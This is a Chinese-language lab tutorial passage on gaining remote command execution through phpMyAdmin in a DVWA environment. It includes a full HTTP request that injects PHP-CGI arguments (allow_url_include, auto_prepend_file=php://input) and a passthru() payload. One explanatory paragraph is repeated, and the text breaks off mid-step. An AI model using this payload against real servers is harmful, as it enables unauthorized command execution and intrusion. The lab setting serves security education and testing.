简单地说,phpMyAdmin是安装在Web服务器上的接口界面,主要用于使用php来管理安装在服务器上的后台数据库。在老的版本中,若管理员没有对相应配置信息进行处理的话就会导致漏洞的存在。在dvwa中phpMyAdmin的默认安装中会存在漏洞,用户可以在路径中不需要输入账号密码就可以直接访问其中的phpMyAdmin/setup目录:
http://10.10.10.137/phpMyAdmin/setup
上述URL中的代码主要是修改php的主配置文件php.ini,从而可以执行下面插入的php代码;在php代码中,passthru()函数会执行里面的操作系统执行并显示出来,die()函数则会将无关的页面返回信息终止掉、方便查看结果信息。这样的方法并不会在服务器中保存任何文件,只是代码执行之后就把结果返回过来。
http://10.10.10.137/phpMyAdmin/setup
利用:
直接利用漏洞执行php中的系统命令返回结果:
可以在Burpsuite中将下列代码上传:
POST http://10.10.10.137/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:10.10.10.137
Content-Length: 34
<?php
passthru('pwd');
die();
?>
上述URL中的代码主要是修改php的主配置文件php.ini,从而可以执行下面插入的php代码;在php代码中,passthru()函数会执行里面的操作系统执行并显示出来,die()函数则会将无关的页面返回信息终止掉、方便查看结果信息。这样的方法并不会在服务器中保存任何文件,只是代码执行之后就把结果返回过来。
加了die()函数: